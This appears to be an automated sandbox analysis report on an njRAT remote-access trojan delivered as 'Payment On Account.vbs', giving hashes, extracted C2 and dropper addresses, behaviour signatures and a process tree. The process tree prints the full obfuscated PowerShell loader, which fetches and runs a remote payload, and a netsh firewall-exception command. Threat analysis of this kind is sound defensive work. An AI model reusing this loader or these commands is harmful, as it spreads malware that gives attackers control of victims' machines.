njrat | 982d8d494fe7ddecd60b8237affaf2da1399122099dae6b615bb9b6904ba0379

General

Target

Payment On Account.vbs
Size

3KB
MD5

48f019f8bdb3fce7e44649974ab2330f
SHA1

25ce8749a17bf094e49673141032aa7b4e3893cb
SHA256

982d8d494fe7ddecd60b8237affaf2da1399122099dae6b615bb9b6904ba0379
SHA512

0387aee4aa180441e42fcbc35d46e16e889706a57be37e8b59f595efa8895b2b096e47738bcd626c0b4d8a9df942edf3162dbbd7f26315d5f5a47081c3c47480

Score

10^/10

njrat hacked evasion trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://54.184.87.30/Server.txt

Extracted

Family

njrat

Version

0.7d

Botnet

HacKed

C2

103.147.184.73:8319

Mutex

98d5ec0a408febb60524eab801ba601c

Attributes

reg_key
98d5ec0a408febb60524eab801ba601c
splitter
|'|'|

Signatures

njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

1 3976 powershell.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 3976 set thread context of 3176 3976 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3976 powershell.exe
3976 powershell.exe
3976 powershell.exe

flow	pid	process
1	3976	powershell.exe

description	pid	process	target process
PID 3976 set thread context of 3176	3976	powershell.exe	aspnet_compiler.exe

pid	process
3976	powershell.exe
3976	powershell.exe
3976	powershell.exe

Suspicious use of AdjustPrivilegeToken 32 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	3976	powershell.exe
Token: SeDebugPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe
Token: 33	3176	aspnet_compiler.exe
Token: SeIncBasePriorityPrivilege	3176	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 13 IoCs

Processes:

WScript.exepowershell.exeaspnet_compiler.exe

description	pid	process	target process
PID 532 wrote to memory of 3976	532	WScript.exe	powershell.exe
PID 532 wrote to memory of 3976	532	WScript.exe	powershell.exe
PID 3976 wrote to memory of 3176	3976	powershell.exe	aspnet_compiler.exe
PID 3976 wrote to memory of 3176	3976	powershell.exe	aspnet_compiler.exe
PID 3976 wrote to memory of 3176	3976	powershell.exe	aspnet_compiler.exe
PID 3976 wrote to memory of 3176	3976	powershell.exe	aspnet_compiler.exe
PID 3976 wrote to memory of 3176	3976	powershell.exe	aspnet_compiler.exe
PID 3976 wrote to memory of 3176	3976	powershell.exe	aspnet_compiler.exe
PID 3976 wrote to memory of 3176	3976	powershell.exe	aspnet_compiler.exe
PID 3976 wrote to memory of 3176	3976	powershell.exe	aspnet_compiler.exe
PID 3176 wrote to memory of 372	3176	aspnet_compiler.exe	netsh.exe
PID 3176 wrote to memory of 372	3176	aspnet_compiler.exe	netsh.exe
PID 3176 wrote to memory of 372	3176	aspnet_compiler.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Payment On Account.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:532

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SZXDCFVGBHNJSDFGH = 'http://54H-H184H-H87H-H30/ServerH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('*','6');Invoke-Expression (-join ($SOS -split '-X-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3976

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3176

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe" "aspnet_compiler.exe" ENABLE
4⤵
PID:372

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/372-143-0x0000000000000000-mapping.dmp

Download
memory/3176-144-0x0000000005020000-0x0000000005021000-memory.dmp

Filesize
4KB

Download
memory/3176-132-0x0000000000400000-0x000000000040C000-memory.dmp

Filesize
48KB

Download
memory/3176-147-0x00000000051F0000-0x00000000051F1000-memory.dmp

Filesize
4KB

Download
memory/3176-146-0x0000000004FC0000-0x0000000004FC1000-memory.dmp

Filesize
4KB

Download
memory/3176-133-0x000000000040746E-mapping.dmp

Download
memory/3176-145-0x0000000004D80000-0x0000000004E1C000-memory.dmp

Filesize
624KB

Download
memory/3176-142-0x00000000053C0000-0x00000000053C1000-memory.dmp

Filesize
4KB

Download
memory/3176-141-0x0000000004E20000-0x0000000004E21000-memory.dmp

Filesize
4KB

Download
memory/3976-130-0x00000206B20A6000-0x00000206B20A8000-memory.dmp

Filesize
8KB

Download
memory/3976-122-0x00000206B2230000-0x00000206B2231000-memory.dmp

Filesize
4KB

Download
memory/3976-119-0x0000020699C20000-0x0000020699C21000-memory.dmp

Filesize
4KB

Download
memory/3976-114-0x0000000000000000-mapping.dmp

Download
memory/3976-131-0x00000206B21E0000-0x00000206B21E4000-memory.dmp

Filesize
16KB

Download
memory/3976-124-0x00000206B20A3000-0x00000206B20A5000-memory.dmp

Filesize
8KB

Download
memory/3976-123-0x00000206B20A0000-0x00000206B20A2000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads